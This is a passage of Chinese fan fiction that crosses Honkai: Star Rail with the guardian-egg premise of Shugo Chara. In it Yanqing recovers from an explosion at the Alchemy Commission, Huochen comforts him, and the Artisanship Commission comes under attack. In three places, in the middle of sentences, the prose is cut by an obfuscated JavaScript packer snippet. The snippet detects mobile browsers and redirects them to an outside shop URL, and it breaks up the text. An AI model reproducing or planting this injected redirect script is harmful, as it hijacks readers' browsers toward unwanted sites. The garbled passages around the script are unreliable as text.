他低着头,闷声闷气:“彦卿从来不是因为不够相信将军才行动的。” “是,我知道,”景元从善如流,拍拍自家小孩肩上的黑灰,“彦卿只是想帮忙。” “将军在谋划什么,不能告诉我吗?” 他想要知道计划,而非单纯的执行命令。 而将军不会告诉他——没有必要告诉他,没有义务告诉他,为避免横生枝节不能告诉他。 彦卿看得明明白白,只是还不死心想问一遍。 景元叹气,看向早上出门还光鲜亮丽,回来时就烧得跟焦炭似的自家徒弟:“去治伤、换身衣服,然后好好睡一觉?” 彦卿沉默,点头,转身离开了。 景元叹气:“丹鼎司啊,丹鼎司。” “将军,彦卿救出来的那一批实验体里有人已经苏醒……” “精神状态如何?能问出话就问。” “关于这个……” 彦卿大部分时间是个听话的孩子,大概。 他依言在丹鼎司做了身体检查,换上病号装躺床上,躺了一会儿,自觉身体无碍又睡不着,就爬起来换了套新衣服,没事人一样在外面漫无目的地走。 远远有人招手跑来:“哎——” 是游山。 他抬手,有点抬不起来,肩膀疼,刚才被房子梁柱砸到还没恢复。 “彦卿,我师兄他……你受伤了!啊啊,那种情况也难怪会受伤。” 游山一脸凝重,他就预备在游山面前做了一套伸展运动,成功让人服气: “行了行了!小心一会儿胳膊掉了。”游山没好气按住他。 “你师兄怎么了?”彦卿试图让对面注意力从自己身上转移。 “他醒了!只是说不清楚话,嘀嘀咕咕听着不像人话,”游山转而一乐,“但是他认得我,一看到我就开始瞪人,偏又动不了,看着滑稽。” 幸灾乐祸得有点明显了。 彦卿心情复杂:“……他到底还是你师兄。” “他都要杀我了,难道还要求我对他有什么好脸色?”游山撇嘴,“我又不是你。” “不过总归他是醒了,我不必背着‘天赋间接害死别人’的罪恶感。” 这倒也是。游山总说自己不是什么良善之人,事实却正因他秉性良善,才会因此愧疚吧。 彦卿笑笑:“真好。只是此前怎么也醒不过来,何故今日突然醒来了?” “因为你啊!” 彦卿一愣。 游山只说因为你,却不再多说,问过他身无大碍后就把他领到熟悉的病房门口——里间医士正在为游山师兄做身体检查。 “虽然说不清原理,但在你救的那批实验体被送进诊室时,他突然就醒了,简直就像是心有所感。” 他透过窗户,看到病床上的人神情恍惚:“这么说,他和那一批人经受了同样的折磨……” 昏暗的房间、血、肿胀的头颅、大火、枝丫自脏器中生长、爆炸、裂开的身体、畸形的…… 彦卿感到反胃,夹带着一阵眩晕。 “彦卿?”游山皱眉,“我送你回去?” “不用。” 他摇摇头,强行站住了,继续观察里间:“他看上去依然神智不清。” “总比之前好,还会瞪我。”游山指指自己眼睛。 彦卿没有反应。 他原本不指望再靠黑化蛋找线索,那黑化蛋却像是一到丹鼎司就来劲,顶着盒子给他引路。 到一处荒凉偏僻的废弃建筑前,黑化蛋直直冲进去了,他也预备跟上,建筑却突然爆炸,转瞬间火光冲天。 丹鼎司古时盛极一时,大兴建筑,后来虽衰落人去楼空,建筑也依然保留。 罗浮上少有爆炸,丹鼎司洞天近海,爆炸就显得更加不同寻常。 早不爆炸晚不爆炸,偏在他眼前爆炸,像是挑衅、警告,又像是担心有什么会暴露在他面前,只好用爆炸毁掉所有痕迹。 他用最快速度冲进去,就看到了那些东西。 他看清那些原本是人,却在经受了同为人的改造后变得不人不鬼,像标本一样关在实验器皿中,最后被伪装成爆炸放弃。 放弃。 他放弃了一部分人,因为他力量不够,带不走那么多,他只好在那短短几秒里用自己的眼睛判断,救走哪些、放弃哪些。 有些已经没有形状了,他判断救不回来,就放弃了。 怎么可以放弃。 彦卿低头,有些呼吸困难,抬手,忍不住抓自己的喉咙。 怎么就没法全部救下來呢? 他喘不上气了。 “彦卿,彦卿!” “彦卿哥哥,彦卿哥哥!” 有人在晃他肩膀,有人在拉他手臂,有点疼。 慢慢的,游山的脸在他眼中重新聚焦,见他回神狠狠松一口气:“你吓死我了!” 还有点耳鸣。他缓慢找回自己的身体,跟朋友说“抱歉”,低头,看到有些眼熟的小女孩: “小鱼?”是前两天诞生守护蛋的小孩。 “嗯,”小鱼认真点头,松开抓着他的手,“彦卿哥哥,你怎么了?” 视野重新恢复,耳鸣也消失了,他愣愣回: “……我没事。” 游山冷哼:“你没事就有鬼了。” 他慢慢起身,依然透过窗看病人,好半晌,转回来: “我走了。” “走去哪儿?你这副样子走去哪儿?”游山拧眉。 他不答,对面就不让。 两边正僵持着,一个细弱的声音道: “我也回去。” “彦卿哥哥,我们一起回去吧。” 还是小鱼。 目有天缺的小女孩对气氛十分敏感,摸索着抓住他的手,开口时还有些胆怯。 小鱼不知道那些事情,当然也不可能让她知道那些事情。可干净的童音仿佛有着安抚人心的效果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326780|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他不自觉放松,撤了力气,蹲下来听小鱼讲话。 “丹枢大人送了我一盒点心,我想和白露一起吃,”小鱼感觉到他蹲下,像是得了鼓励继续说,说到这里有些失望,“但是白露很忙。” 他蹲着和游山对视一眼,心知肚明。 这起事件对外声称为事故,但其中牵扯颇深,能多保住一个人的命,就多一分获知线索的可能……也就必然请出医术精湛的衔药龙女了。 但小鱼是在爆炸之后来的,没听到什么声音。 “白露大人在做一件很重要、对大家都很好的事情,暂时脱不开身,”他已经缓过来,从自己的事情里脱离,摸摸小鱼的头,“等她不忙了,小鱼再来找她玩吧?” “嗯!我下次再带新的点心来,”小鱼声音很轻很细,但是毫不气馁,兴致勃勃,“我今天,还想去工造司找火尘哥哥,和他一起吃。” “欸,那真不错,”他笑,“我也想去看火尘,我们一起走吧?” 小鱼大方点头,看起来更高兴了:“好呀,我们三个人一起吃!” 游山拽他,瞪眼:“你不回病房休息?不去看心理医生?” “什么啊,我没病,”彦卿老神在在,“我要去找好朋友吃点心~” “去找好朋友吃点心~”小鱼牵着他手,笑眼弯弯重复。 游山看一眼他,又看一眼小鱼,实在无话可说。 “你最好是不要像刚才那样了。” “放心。”彦卿神色如常,冲人眨眨眼。 游山锤他一下,走了。 和小鱼一起走路很愉快。 彦卿一手拎着点心盒,一手牵小鱼,放慢步子,听小鱼一边走路,一边发出些奇妙的响声。 “哒、哒、咔哒……”两短一长的奇妙间距。 小鱼很专注,像是习惯于这样的自娱自乐,忘了身边还有人在,以至于听见他开口时吓了一跳: “是工造司前厅的声音?” 小鱼仰头望向他的方向,话音惊讶,有点开心:“彦卿哥哥,也听得出来?” “嗯,能听个大概。” 毕竟他是工造司的常客。 “隆隆隆——” “哐啷、哐啷、砰!” “吖——吖——” 至于后面这些就完全听不出来了。 小鱼说这些分别是工造司大门打开的声音、工造司升降梯运作的声音,和火尘哥哥躺在摇摇椅上晃啊晃的声音。 摇摇椅? “还有这个,”小鱼清清嗓子,很冷酷,“‘放下,武器’!” 彦卿笑出声:“这个很不妙吧。”是守备金人失控的声音。 “嗯,但是就那一次,很快就被赶来的师傅控制住了。”小鱼也一起笑,笑眼弯弯,相比平日的腼腆,此时更多了几分神采。 “小鱼好厉害,”他真心夸赞,“据说工造司经验丰富的老师傅能分辨出不同机枢的声音,小鱼已经可以和他们一样了。” 小鱼没有被夸飘,但还是仰头,有些小骄傲:“我爹爹和娘亲,都是工造司的工匠哦!” 原来如此。彦卿恍然,又夸了几句,两个人高高兴兴到达工造司时,火尘正窝在躺椅上刷玉兆。 12. 快乐王子 火尘闲着没事干,躺在椅子上摇啊摇。 丹鼎司的事故信息很明显被封锁了,刷来刷去都只看见最开始的一张爆炸远景图,评论区倒是有人贴自己拍的照,但都看不分明。 再就是拉线封锁区域,地衡司和云骑军带人附近探查爆炸原因,告诉大家不要惊慌。 工造司似乎也派人拎着机巧去了,但火尘只是学徒,这种严重事故现场轮不到他去。 彦卿呢? 这事绝对跟彦卿有关系,队长让他相信守护者的直觉。他划来划去: 我那么大一个彦卿大人呢? “火尘!” 他一个激灵起身,躺椅太矮了,他坐着,眼睛堪堪露出桌面,抬头看向来人:好嘛,念谁来谁。 彦卿骁卫和离开时一样光鲜亮丽,胸前银饰闪着耀目的光,看不出异常,只是面露迟疑: “你在睡觉?吵到你了吗?” “……没。”没有! 他没有玩忽职守!只是工造司下午没活干而已。 每次想要偷点懒就正好被彦卿撞上。大概是八字不合。 三两下收起折叠躺椅,换回工造司配备的标准椅子,火尘坐下,看见熟练从自己工位底下搬马扎的小鱼,抬头: “什么事?” 彦卿把点心盒放到桌面:“小鱼来找你吃点心。” 小鱼惦记着,补充:“我们三个一起吃。” 火尘瞅一眼点心盒,又看看彦卿,没有说话,只摸摸小鱼的头,拿了一块吃。 一盒点心很快就吃完了,彦卿顺带点了三杯奶茶,聊起小鱼听机巧声音的能力,火尘反应也一样:“厉害啊,有想过当工匠吗?” 小鱼想了想,摇头:“不知道。”所以蛋才孵不出来。 “没事,”火尘很有自觉,“我也不知道。”我也没孵出来。 彦卿在一边安静看着,直到看见小鱼被家人接走,他才问: “那是小鱼的母亲?” “不是,”火尘往后一躺,工造司椅子硌得慌,“是姑妈,她父母在战争里去世了,她现在跟亲戚住。” “这样啊。” 彦卿于是又安静下来,不知道在想什么。 “你呢?”火尘突然问,“丹鼎司出什么事了?” 彦卿沉默。 看样子不能说。倒也没事,他本来就不是想知道这个。 “那个黑化蛋你还回去了吗?” 这个似乎可以说。彦卿摸索口袋,掏出随身携带的盒子:“没有。” 火尘瞧两眼:依然是黑的。 “我看到他醒了,但是,他好像说不清楚话,也没有自我意识在。”彦卿突然说了一长串。 “那就继续关着呗,挺好的。”火尘戳戳盒子。 “火尘,我还看到……” 停了很久,大概也是要说一长串,可彦卿刚开了个头就卡住,然后把话吞了回去:“算了,没什么事,我先回去……” 没事才怪。 火尘坐在这里,就感觉这个人快要难过死了。 “说也可以,不说也可以,”火尘拽住这人飘带,“我就在这里。” 彦卿一僵。 “说得简略些、详细些,都无所谓,反正我也听不懂。” 差点忘了快下班了:“或者你可以直接来我住的地方找我,你知道位置吧。”那天还御剑飘到阳台吓他一跳。 走不掉。 身后明明是能轻松挣脱的力道,但听到火尘一句一句这样说,彦卿知道自己走不掉。 他根本就不想走。 他慢慢转回来,提起精神,试图做出笑的表情,然而似乎徒劳,因为火尘看着他,依然满目担忧。 “火尘,”他低头喃喃,“我好累。” “累就休息。”他的朋友这样说,他抬头,看见对方橙红色的眼瞳温暖得像一团火,告诉他可以靠在火边放松。 “我以为我可以救下所有人的……”彦卿终于开口,像在说梦话一样飘忽,语言组织一团乱,“我不知道我做得对不对……也许我破坏了将军的计划,打草惊蛇……最后还放弃了他们……” 火尘左右瞅瞅,半拖半拽,把似乎不太清醒的家伙按到自己的躺椅上,再从柜子里翻出一床薄毯子给人盖上。 彦卿飘忽的精神都被惊得归位了:“……你柜子里到底塞了多少东西?”真的是来上班的吗? “啧,”火尘没好气,“你管那么多呢。” 彦卿闭嘴。 火尘也没说话,低头划拉玉兆。 “你在找新闻吗?消息封锁了,传出来会让大家慌乱的……” “我在找鸡汤,”火尘冷脸刷玉兆,“找鸡汤喂你这个、这个……”可恶,找不到形容词。 彦卿还不至于听不懂鸡汤是什么,他一下子想起游山说的心理医生,婉言谢绝:“火尘,我觉得我不是很需要……” “不,你需要。” 彦卿:…… 好吧,你说什么就是什么。 火尘没找着满意的,还是放弃了喂鸡汤,转而提起:“听说过《快乐王子》吗?” “那个域外童话?听过。” “快乐王子浑身金箔,眼睛是蓝宝石,权杖上有红宝石,金光灿灿,十分华贵。” 他的朋友金发金瞳,满身求平安的银饰,躺在躺椅上眼也不眨地看着他,扎好的高马尾在被他强按到躺椅上时蹭散了,粗略看去像什么名贵的金线。 是听故事的架势,但火尘不是想讲故事。 他慢吞吞开口: “你记得快乐王子的结局吗?” 彦卿在想起结局时就明白火尘想说什么,顺从接话: “快乐王子将身上的宝石和金箔都分给了穷苦的人,自己变得破败不堪,轰然倒塌了。” “爱上他、帮助他,为了他放弃飞往南方的燕子没能撑过那个冬天,在他的残骸边被冻死了。” “可是火尘,我不是快乐王子,也不是燕子。” 火尘瞧他两眼:“差不多。” 彦卿:认真的吗? 火尘接着提问:“你觉得快乐王子在我这里算什么?” 算什么…… 彦卿回想火尘平日的作风,谨慎回答:“愚蠢的理想主义者?” 对面乐:“一开始确实如此。” 火尘站没两分钟就开始累了,但话还没讲完,他顺手搬过刚才小鱼坐的马扎,挪到躺椅边。 彦卿视线跟着他动,偏头,用一个不太舒服的姿势正对他的方向。 火尘一顿。 太近了,近得能在这人眼中看见自己的倒影。 可能彦卿觉得这样说话比较方便。 他僵了两秒,到底是没挪开,继续说: “快乐王子一看到有人受苦就要哭,我就想,他要是看见宇宙中这么多星球一瞬间毁灭,说不定要哭出几条河。” “可是后来,在我过得很苦很苦的时候,我会想,至少有快乐王子愿意为我哭。” “想到这个,就会稍微好受一点。” 彦卿又露出熟悉的、在为他难过的表情,伸手拍拍他,像是安慰。 他回握住那只手,绕来绕去终于能说出口: “快乐王子也好、燕子也好,觉得他们愚蠢也好、天真也好。但我想,至少不会有人在看故事的时候,希望他轰然倒塌。” “就好像现在,我也完全不想看到你难过。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326781|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >手被攥紧,手心传来对方的温度。 彦卿怔住,在工造司一盏一盏熄灭的灯光中安静望着他的朋友,快速眨眼,没有说话。 神策府。 “……并非彦卿打草惊蛇,而是他们有恃无恐。” “敢漏到这种程度,不是今天也会是不远的某天。” 青镞敛眸:“罗浮要变天了。” 景元长叹一声:“是啊。” 他眼一瞥,就瞧见门口站着谁,无奈笑:“怎么不在丹鼎司待着?还有人给我通传,说你早上处理完伤口就跑出去了。” 彦卿抓脑袋,看起来已经恢复正常:“抱歉,将军,不过我的伤势已经快好全了。” 将军点头“嗯”,不再多说,也没有要起身的意思。 那就是要继续谈事了。 “彦卿能留在这里听吗?” 景元眯起眼笑,语气温和:“去洗个澡睡一觉吧,等伤养好了,有别的差事交给你。” 很温和地说“不行”。 策士长在一旁瞅着这对师徒,眼睛一会儿转向左边,一会儿转向右边,终于听见人开口: “彦卿知晓了。”少年人乖巧点头,起身离开。 听话得让景元都忍不住多看两眼: “转性了?” 彦卿在廊道看月亮。 罗浮的人造月光洒进来,照得廊道内一半明亮一半昏暗,他踩在中间的分割线上,不偏不倚。 今天做了什么。 今天做成了什么。 到入睡时分,心头依然一片茫然。 火尘问他:「彦卿,自在是因为什么诞生的?」 时间太早,他不记得了。 他想成为剑首……是因为他想成为剑首吗? 他现在做这些事情,也是因为想成为剑首? 愧疚不安、心慌烦闷,都是因为想成为剑首? 彦卿烦躁抓抓头发:听起来就像给自己找了个万能的理由。 「你真该早些把自在接回来。」 或许确实如此。 火尘在不知前因后果的情况下,很神奇地感知到了他的情绪。 也正因为不知前因后果,火尘似乎只在乎他的情绪,建议也都围绕他和守护甜心。 可他现在面对的困境本质和守护甜心没有关系…… 彦卿搓两把脸。 他不好现在接回自在。在将军面前强装镇定已属不易,在自在面前他就更加没信心了——根本就瞒不过去。 这副样子被象征理想的守护甜心看见了,大概会失望吧…… 思绪纷乱复杂,他拖着步子回到房门口,却在推开门的瞬间怔住了。 金发金瞳白衣服的小精灵坐在离门最近的剑架上晃腿,旁边放着小小一碟点心,正百无聊赖地看向门口,和推门的他正对上视线。 “啊——”彦卿条件反射伸手接住,扑过来的小家伙几乎是瞬间就开始抱怨撒娇,“怎么才来啊彦卿,听说你受伤了,我等了你好久好久——” “对不起。” 彦卿托着小人和自己视线平齐:“我不知道你会回来。” 自在绕着他转来一圈,确认一遍伤势又飞回他眼前,理所当然道:“你想我了,我当然会回来啊。” 我想你了。 彦卿笑着应:“对。” 一整天的惶惑、不安、难过都远去了,尽管什么事情都还没解决,但他注视着自己的守护甜心,如释重负: “自在,我很想念你。” “我知道,我感觉到了,”自在看看他,飞起来蹭蹭他脸颊,没说“我也想念你”,而是: “我一直在哦。” 半月后,星穹列车抵达罗浮。 13. 工造司变故 “你看,说好了一百年的保修期,这里还有标呢……” “你这……要不还是换个新的吧。” “我不,我就要这个,换新的用不惯……哎呀,你们这年轻小娃不懂,叫你师父来——” 工造司,又是一个普通的早晨。 火尘连连应是,说不动,索性给念旧的长生种顾客指路去找师父,看他拿着自家的老古董走进工坊,完事动动脖子。 这一天才刚开始就已经累了。 没人来,也没投诉电话,火尘窝在前台发会儿呆,打开抽屉,戳戳安静躺着的蛋。 自上次让他社死之后,蛋就再无反应,安静得像是之前发烫也是他的错觉——但这样一来那通激情表白就要算在他头上了,还是算了。 蛋壳整体漆黑,火焰纹路于其上闪着耀目的光华,摸上去甚至能感受到温度。虽说蛋本来就是热的,不热了才奇怪。 人闲下来总是会有些迷惑行为,火尘伸出手指,推着蛋在抽屉里滚来滚去,模仿其他世界的旧式火车。 “前进前进前进——砰!”到头了,蛋没碎,因为是守护蛋,他可劲儿造也没事,“转弯——” 火尘预备着再来一遍,但一个黑咕隆咚的东西从眼前飘过,宣告他的休息时间结束。 黑化蛋。看都看到了,总不能放着不管。 这半月里,火尘也大致明白守护者的职责划分——黑化蛋出现得相当随机,所以即使划分了区域,真出现的时候也是谁碰到谁处理。 火尘腹诽:得亏工作量不大,报酬也是按量计算,不然照他这个霉运可亏大了。 说起来,他还没见过工造司的守护者。 火尘搬了个指路标牌放门口,表示有事进去找他师父,就跟着黑化蛋出门了。 前面人是个小个子,正常来看最多四五岁,只是隔得有些远看不清耳朵形状,不知道是不是生长不规律的持明族。 他跟得近了,被人发现,一惊,还没表露来意,小孩就给他打手势:“嘘——” 火尘操作机巧抓住黑化蛋,蹲到鬼鬼祟祟的小孩身边,低声:“你在干嘛?” “哎呀,嘘——”小孩挤眉弄眼,这下够近,能看到他不是持明,“你看就知道了。” 不是持明,那就确实是四五岁小孩。 火尘安静蹲着了,片刻后,一群人气势汹汹地来,气愤喊了句什么,又乌泱泱地走了。 看服饰,是太卜司的卜者。但他还是没看懂这是在做什么。 “怪了,”他听见小孩也纳闷,低低念叨,“工造司人呢?” “我就是工造司的。” 小孩不耐烦摆手:“哎呀,不是说你……来了来了!快躲起来!” 这小孩兴奋得有点诡异了。 火尘刚蹲回去,正看见又是一群人乌泱泱地来,同样的气愤,又同样的迅速离开。公输师傅弟子众多,他甚至在其中看到了眼熟的师兄师姐。 假如这两波人撞上了……他都能想象是怎样一个群架现场。 小孩坐在地上大笑,笑完了掏出玉兆,还有点遗憾:“怎么有人约架不约时间的?你说他们是不是傻?” “你干的?” 火尘看看人,又看看刚抓到的蛋,才发现上面没有叉号,本来颜色就是黑的。 他松手,看见蛋飘回小孩心口,小孩全无异状,还很是骄傲地给他介绍: “我在网上发了个帖子,咳咳,就说我今年预备考公,太卜司和工造司哪个活儿轻松。” “然后两边都来了些人回复,我随口挑拨几句,他们就在评论区大吵特吵,还约了要在线下掰扯清楚。” “太好笑了嘻嘻!” 火尘:…… 槽多无口。 “你今年几岁?” “五岁,啧,”小孩不爽,“又来了是吧,年纪大就瞧不起人。” “是不是因为年纪大不好说,反正我挺看不上你的。”天生心黑的小鬼。 火尘想了想,补充一句:“玩玉兆玩的。” 小孩瞪眼,准备掰扯几句,脚下突然一阵震动! 他一个腿软跪地,两手一扒正好扒到火尘裤腿:“怎么了怎么了?” 火尘甩两下腿,没甩开,索性把人拽起来:“不知道,看看去?” “轰隆!”工造司中央传来一声巨响,火尘记得分明,那是造化洪炉的位置,上次彦卿就是在那里抓的黑化蛋。 巨响过后还有些细碎连续的响声,听不出是什么,只让人联想到某种爬行的动作,感觉很不妙。 “不要,”刚才还在坐山观虎斗的小孩吓出哭腔,“我要回家。” 回家就回家。火尘吓吓人而已,本来也没真想把小孩往危险中心带——那种地方他自己都不会去…… “咔擦……” 他眼尖看见桥面裂痕,想都没想猛地后退,抱他大腿的小孩被一起拖开。 “砰!” 下一刻,桥塌了,而在桥面不整齐的断口中,火尘看见金色的枝条正在蚕食桥体结构。 小孩傻眼了:“这是什么东西……” 金色的枝条有如活物,动起来游蛇一般,目标明确地向他们游走…… “跑!” 小孩三两下蹿上二楼,回头招手:“快点啊!” 火尘也不含糊,上了楼发现居然还有孽物:“怪不得你愿意等我。” 工造司的机巧造物全无指令地四处游荡着,似乎是识别到目标就会开始攻击,可苦了两个着急逃命的家伙。 小孩恼怒:“才不是因为这个!” 不管是不是,总之指望火尘打怪实在不太可能,两个人一边躲枝条一边躲孽物,在司部内绕来绕去,反而离大门越来越远了。 小孩:“怎么会有你这么不靠谱的成年人?” 火尘严谨:“提醒你一句,我十五岁,还没成年。” 他站在货箱顶低头扫视一圈,叹气:“这下工造司损失大了。” 小孩嚷嚷:“现在不是关心损失的时候吧!” 知道。火尘眼尖瞧见来人,一把抓住小孩后衣领把人提溜起来。 “喂喂喂!” “看,来人了,”他示意人往前看,慢吞吞说,“被你一个帖子玩弄于股掌之间的、封建又死蠢的靠谱大人来了。” 来人正是火尘眼熟的师兄,也是刚才那一群受害者中的一员,小孩一噎,立马不嚷了。 火尘把人交过去,自己起身,却是往反方向。 “火尘?” “师父还没出来吧,我去找他。” “你疯了吗,”师兄面色微愠,“现在里面孽物横行,都不知道哪些机巧会发疯攻击人,师父一会儿就出来了,哪用得着你……” “师父不肯出来吧。”火尘回这一句,瞧见师兄脸色,就知道自己没说错。 公输师傅醉心工造,性情单纯如孩童,是工造司的大工正,司砧去朱明交流学习未归,工造司一应事务都由公输师傅负责。 别的不说。 火尘回身抬头,望向工造司的象征物造化洪炉——枝条还在源源不断地生长、攀援、包裹炉身,连同炉子一起散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326782|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发着诡异的金绿色光芒。 就光是看到这个,师父也绝对不肯一走了之。 “火尘,”师兄苦口婆心,“师父能操作工造司的所有机巧,而且还是长生种,你不一样。” “一样的,”他真心这么认为,但师兄大概率听不进去,“都只有一条命。” 小孩知道自己安全了,重新开始摇头晃脑:“你对长生种真是一无所知。” 火尘懒得理他,回头继续看向师兄:“我不是去找死,我只是去找师父。” “我也没想帮上忙,只是觉得不能留他老人家一个在那里而已。” 师兄还待说更多,火尘已经从他身边逮了只防御机巧:“灯鱼借我。” 而后两步跳下三层货箱,灵活的样子看不出平常那般懒散:“我走了。” 火尘跑出几步,没再听见身后喊声,就慢下步子,灯鱼停在他身边,跟他大眼瞪小眼。 这只是如今少数未失控的机巧,但是太过初级——太高级的火尘不会操作,毕竟他不着急,跟学的长生种课程,几十年才可勉强小成。如今这只灯鱼能帮上多少忙也未可知。 早知道师父做的时候多学着点了。 千金难买早知道。火尘也就感叹两句,该走还是得继续走。 走没两步路就摊上事了,他推后两步躲起来。 “砰!砰!”闷闷的、很重的脚步声,顶着类似房梁结构大帽子的机巧造物走来走去,走两步路方圆十米震感十足,手里的锯子卡拉卡拉响。 火尘认得那个东西,是工造司的金人,专用来看守禁制的,平常都是睡眠状态,之前失控了一次,被师父很快制住了。 失控金人还在他必经之路上来回走动,结合当下情况像山里拦路抢劫的土匪。 移动速度不快、但体型大、步子迈得开、攻击力……相当高,起码他被那把锯子砍上一下大概是没命了。 火尘默默估算自己瞅准空隙跑过去的成功率,决定先苟一苟再说。 金人却冷不丁转头: “放下……武器……” “——止戈令执行中。” 他暗道不好,听从直觉慌乱爬行,刚跑到另一边,刚才站的位置就被打穿了。 火尘冷汗直流。 那是激光吧,是激光吧! 金人又转过来看他,身边机巧还在呆傻地和他干瞪眼,火尘深吸一口气: 上吧,灯鱼!就决定是你了! 他抓住灯鱼尾巴,瞄准金人全身最亮的地方一把砸过去,看都不看就往中间空隙一钻! 金人有一瞬间的卡顿:“大逆……不道……” 你攻击主人的徒弟才是大逆不道。 火尘不敢回头看,所以也不知道灯鱼被砸晕了,晕乎乎在金人眼前乱转,最后“砰!”的一下炸开,触发了金人最后一条语音: “违令,必惩!” 救命救命救命救命快到了快到了……! 跑得足够远了,火尘没听到攻击后续,却听到一阵七零八落的声音,回头一看: 金人已经瘫倒在地,握锯子的手打摆子一样抖抖抖,显然再起不能。 灰色头发、异星打扮的陌生人站在金人面前,扛着球棒,摆出一个大概很威风的姿势。 对面,粉色头发的陌生少女捂头叹气,按着腰间的相机一边拒绝:“不拍,咱们是来办正事的。” 哦? 火尘没出声,继续看了会儿,直到灰色头发的少年猛地抬头看向他,他顿住: “你们好,敢问两位侠士,所为何来?” 14. 彦卿自在 景元有些为难。 他和驭空的红白脸演戏、和列车组的沟通、和符玄的分析过程,都没有回避彦卿。 彦卿自请将通缉犯抓捕归案,也是他能预料到的反应。 只是该怎么办才好呢? 主动请缨的少年人,在他面前眼睛亮得好比天灯,叫人想避也无处避。 景元觉得他再这么拒绝下去,属实有点打击孩子积极性了。 “这事我已托了那些客人去做……” 但这次事件不同以往,他没有十成十的把握,纵是有计划,如今局势尚未明朗,他也不好告诉任何人。 看着彦卿神情黯淡下来,景元叹气,背过身分析一遍局势,预备给人找点别的事做: “彦卿……” 却找不着人影了。 “也罢,”他低头笑笑,“少年自有少年狂,难为他能忍这么久。” 另一边,火尘和将军派来的救兵成功会晤。 “我是——银河球棒侠!” “你好你好,我是三月七,我们都是星穹列车的开拓者,他、他……闹着玩而已,你不必在意,哈哈。” 称号?网名?总之他大概理解了,这两位是来救他们的,而且实力超凡。 “我是火尘,工造司的学徒。” “我师父是工造司的大工正,他大概被困在造化洪炉边了,能请你们帮忙救出他吗?” 这话讲出来特别像一个尽职尽责的npc。 自称银河球棒侠的青年拍胸脯应下,然后朝他摊手。 ? 这是在要报酬。火尘了然,打商量:“您要多少?太多的话我身上没有带,可以转信用点吗?” 青年摆手,头摇成拨浪鼓:“你这是普通支线,十块就好。” 支线?十块? 怎么这么让人迷惑呢? “巡镝?” “星琼!” 似乎是一种特殊石头,开拓者讲了见面以来最长的一段话,认真描述了那种石头的外形,火尘想了一下,发现自己还真有。 捡的,因为外形好看他还整理收集好交到地衡司,以为是谁家的收藏品,却被告知仙舟上不少人都会时不时捡到这种石头,他也就心安理得收下来。 他打开口袋翻找一阵,开拓者凑上来看,但火尘没感觉到恶意,只觉得对方像个啥都不懂的小孩,然后: “哦,你有蛋啊!” ?! 他的守护蛋和星琼放在一起,随便一瞧就能看见,但一般人是看不见的,所以: “你也有?” “嗯?”同行的三月小姐凑上来疑惑,“什么什么?什么蛋?” 所以只这一个人能看见。 他忍不住又看两眼开拓者,对方回话:“我没有蛋。” “你又看见之前说的那种蛋了?”三月小姐向开拓者哭哭,“为什么我这样的美少女没有这种超能力?” “兴许只是不到时候,”火尘安慰,“彦卿跟我说每个人都有,只是未必都能显形。这也不算超能力,只是心灵之蛋。” “彦卿?” “他是我的朋友,”火尘想了想补充,“是仙舟罗浮的守护者。” * 流云渡。 彦卿正在找线索。 事发后流云渡匆忙封锁,值守云骑查过几回,一无所获。那两个星核猎手就像人间蒸发了一般。 但彦卿可不信两个大活人就这么悄无声息消失,更何况那个刃…… 他在幽囚狱见到那人第一眼,就知对方定是尸山血海中走来,明明负枷受审,却视枷锁如无物,一身恍若实质的骇人血气。 那样凶恶的通缉犯,如今得了自由不知所踪,留在仙舟不知意欲何为,甚至还有同伴。 怎么能不急。 他回神,流云渡天光敞亮,将他从幽囚狱的阴暗中带出。 眼前是一张纸片,看清内容才知晓是卜辞,大意是:今日会遇见远道而来的客人,属良缘,要毕恭毕敬地对待那个人,才能逢吉化凶。 逢吉化凶? “奇怪的卜辞……”他嘀咕两句,扭头看向别处。 彦卿倒没有看不起卜算,他知道符太卜对胜负吉凶很有见解,在仙舟,卜算并非玄学,而是将所有信息汇总计算后,得出一条最有可能的路径。 但眼下这不过一张小纸条,因为放在户外吹风曝晒还有点破烂了,可信度一下就大打折扣。 自在对这个也不感兴趣,坐在他头顶吹风,顺便左顾右盼,看到什么感兴趣的就拍他:“彦卿,你看那边!” 他依言过去,桌上放着本书,似乎是旅客遗留的小说。 顺手翻翻,是无名的白发剑客大战步离人的故事。 一页、两页、三页……聚精会神。 「试阅结束,请付费阅读。」 彦卿猛地惊醒。 “彦卿啊彦卿,居然被一本小说绊住,连将军的嘱托都不记得了……” 自在笑嘻嘻模仿:“彦卿啊彦卿……” 彦卿安静一会儿,抬眼问:“自在,你不觉得我这样不好吗?” 捉拿要犯确是当前要紧事,只要把逃跑的星核猎手找回来,星核事件也定当水落石出。 